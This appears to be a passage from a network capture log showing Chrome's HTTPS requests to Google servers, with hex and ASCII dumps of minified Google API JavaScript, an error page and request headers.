2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 68 28 22 2e 67 2d 22 2b 68 2c 22 67 5c 5c 3a 22 2b 68 29 7d 64 3d 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 2e 6a 6f 69 6e 28 22 2c 22 29 29 7d 65 6c 73 65 20 64 3d 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 61 3d 5f 2e 79 65 28 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 66 3d 64 5b 65 5d 3b 76 61 72 20 6b 3d 66 3b 68 3d 62 3b 76 61 72 20 6c 3d 6b 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6d 3d 76 6f 69 64 20 30 3b 69 66 28 6b 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 67 61 70 69 73 63 61 6e 22 29 29 68 3d 0a 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 6c 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 3b 6e 3d 3d 30 Data Ascii: h(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.ye();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),m=void 0;if(k.hasAttribute("data-gapiscan"))h=null;else{var n=l.indexOf("g:");n==0
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 74 65 20 63 2e 64 6f 6e 74 63 6c 65 61 72 3b 76 61 72 20 6c 3b 66 3d 7b 7d 3b 76 61 72 20 6d 3d 6c 3d 61 3b 61 3d 3d 22 70 6c 75 73 22 26 26 63 2e 61 63 74 69 6f 6e 26 26 28 6c 3d 61 2b 22 5f 22 2b 63 2e 61 63 74 69 6f 6e 2c 6d 3d 61 2b 22 2f 22 2b 63 2e 61 63 74 69 6f 6e 29 3b 28 6c 3d 5f 2e 54 65 28 22 69 66 72 61 6d 65 73 2f 22 2b 6c 2b 22 2f 75 72 6c 22 29 29 7c 7c 28 6c 3d 22 3a 69 6d 5f 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 22 2b 6d 2b 22 3f 75 73 65 67 61 70 69 3d 31 22 29 3b 66 6f 72 28 6e 20 69 6e 20 79 6f 29 66 5b 6e 5d 3d 6e 2b 22 2f 22 2b 28 63 5b 6e 5d 7c 7c 79 6f 5b 6e 5d 29 2b 22 2f 22 3b 76 61 72 20 6e 3d 5f 2e 49 Data Ascii: te c.dontclear;var l;f={};var m=l=a;a=="plus"&&c.action&&(l=a+"_"+c.action,m=a+"/"+c.action);(l=_.Te("iframes/"+l+"/url"))\|\|(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+m+"?usegapi=1");for(n in yo)f[n]=n+"/"+(c[n]\|\|yo[n])+"/";var n=_.I
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 73 74 3d 0a 31 3b 76 2e 61 74 74 72 69 62 75 74 65 73 3d 41 6f 3b 76 2e 64 6f 6e 74 63 6c 65 61 72 3d 21 6b 3b 68 3d 7b 7d 3b 68 2e 75 73 65 72 50 61 72 61 6d 73 3d 63 3b 68 2e 75 72 6c 3d 75 3b 68 2e 74 79 70 65 3d 61 3b 5f 2e 48 6f 28 61 2c 62 2c 63 2c 75 2c 76 2c 68 29 3b 62 3d 68 2e 69 64 3b 63 3d 5f 2e 79 65 28 29 3b 63 2e 69 64 3d 62 3b 63 2e 75 73 65 72 50 61 72 61 6d 73 3d 68 2e 75 73 65 72 50 61 72 61 6d 73 3b 63 2e 75 72 6c 3d 68 2e 75 72 6c 3b 63 2e 74 79 70 65 3d 68 2e 74 79 70 65 3b 63 2e 73 74 61 74 65 3d 31 3b 5f 2e 52 6e 5b 62 5d 3d 63 3b 62 3d 68 7d 65 6c 73 65 20 62 3d 6e 75 6c 6c 3b 62 26 26 28 28 63 3d 62 2e 69 64 29 26 26 64 2e 70 75 73 68 28 63 29 2c 54 6f 28 61 2c 62 29 29 7d 7d 2c 55 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 Data Ascii: st=1;v.attributes=Ao;v.dontclear=!k;h={};h.userParams=c;h.url=u;h.type=a;_.Ho(a,b,c,u,v,h);b=h.id;c=_.ye();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.Rn[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),To(a,b))}},Uo=function(a,b,c
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 26 62 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3b 76 61 72 20 64 3d 63 3e 30 3f 6e 65 77 20 61 28 63 29 3a 6e 65 77 20 61 3b 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 3d 7b 54 69 6d 65 72 3a 61 2c 6c 6f 61 64 3a 64 7d 3b 69 66 28 62 29 7b 76 61 72 20 65 3d 62 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3b 65 3e 30 26 26 63 3e 3d 65 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 73 72 74 3d 63 2d 65 29 7d 69 66 28 62 29 7b 76 61 72 20 66 3d 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 6c 6f 61 64 3b 0a 65 3e 30 26 26 63 3e 3d 65 26 26 28 66 2e 74 69 63 6b 28 22 5f 77 74 73 72 74 22 2c 76 6f 69 64 20 30 2c 65 29 2c 66 2e 74 69 63 6b 28 22 77 74 73 72 74 5f Data Ascii: &b.responseStart;var d=c>0?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;e>0&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;e>0&&c>=e&&(f.tick("_wtsrt",void 0,e),f.tick("wtsrt_
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 6d 65 2e 63 73 69 28 29 2e 74 72 61 6e 29 7d 63 61 74 63 68 28 70 29 7b 7d 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 3b 69 66 28 65 26 26 28 65 3d 65 2e 6c 6f 61 64 54 69 6d 65 73 29 26 26 74 79 70 65 6f 66 20 65 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 65 3d 65 28 29 29 29 7b 65 2e 77 61 73 46 65 74 63 68 65 64 56 69 61 53 70 64 79 26 26 28 64 2b 3d 22 26 70 3d 73 22 29 3b 69 66 28 65 2e 77 61 73 4e 70 6e 4e 65 67 6f 74 69 61 74 65 64 29 7b 64 2b 3d 22 26 6e 70 6e 3d 31 22 3b 76 61 72 20 66 3d 65 2e 6e 70 6e 4e 65 67 6f 74 69 61 74 65 64 50 72 6f 74 6f 63 6f 6c 3b 66 26 26 28 64 2b 3d 22 26 6e 70 6e 76 3d 22 2b 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 29 28 66 29 29 7d 65 2e 77 61 73 41 6c 74 Data Ascii: me.csi().tran)}catch(p){}var e=window.chrome;if(e&&(e=e.loadTimes)&&typeof e==="function"&&(e=e())){e.wasFetchedViaSpdy&&(d+="&p=s");if(e.wasNpnNegotiated){d+="&npn=1";var f=e.npnNegotiatedProtocol;f&&(d+="&npnv="+(encodeURIComponent\|\|escape)(f))}e.wasAlt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49816	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:08 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:08 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:08 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:08 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:08 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49818	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:08 UTC	905	OUT	GET /js/googleapis.proxy.js?onload=startup HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:08 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14486 Date: Thu, 14 Nov 2024 19:43:08 GMT Expires: Thu, 14 Nov 2024 19:43:08 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "8529c25fa9b03753" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:08 UTC	541	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 Data Ascii: f(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b inst
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 61 29 7b 69 66 28 78 21 3d 3d 78 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d Data Ascii: tion(a){if(x!==x)throw Error("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)==
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 73 75 62 73 74 72 28 30 2c 32 38 29 2b 28 62 2e 6c 65 6e 67 74 68 2d 32 38 29 29 2c 63 3d 62 2c 62 3d 48 28 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 Data Ascii: substr(0,28)+(b.length-28)),c=b,b=H(ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.pus
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 6c 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 66 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 Data Ascii: l;var e=function(f){return encodeURIComponent(f).replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 2b 5f 30 2d 39 5c 2f 41 2d 5a 61 2d 7a 5d 2b 3d 7b 30 2c 32 7d 24 2f 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e Data Ascii: +_0-9\/A-Za-z]+={0,2}$/,Ba=function(a,b){for(var c=[],d=0;d<a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 76 6f 69 64 20 30 3b 74 79 70 65 6f 66 20 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 70 3d 6c 29 3b 76 61 72 20 71 3d 6e 75 6c 6c 2c 7a 3d 21 31 3b 69 66 28 66 26 26 21 6b 7c 7c 21 66 26 26 6b 29 74 68 72 6f 77 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 Data Ascii: void 0;typeof l=="function"&&(p=l);var q=null,z=!1;if(f&&!k\|\|!f&&k)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)r
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 61 2c 62 29 7b 72 65 74 75 72 6e 20 46 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 61 2c 62 29 7d 29 7d 3b 55 2e 75 6e 73 68 69 66 74 28 5b 22 75 72 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 21 61 7c 7c 62 26 26 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 Data Ascii: a,b){return Fa(function(){return Ia(a,b)})};U.unshift(["url",function(a,b,c){!a\|\|b&&b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].include
2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 73 75 62 73 63 72 69 62 65 5f 65 6d 62 65 64 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 5f 63 69 72 63 6c 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 Data Ascii: ww.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},r
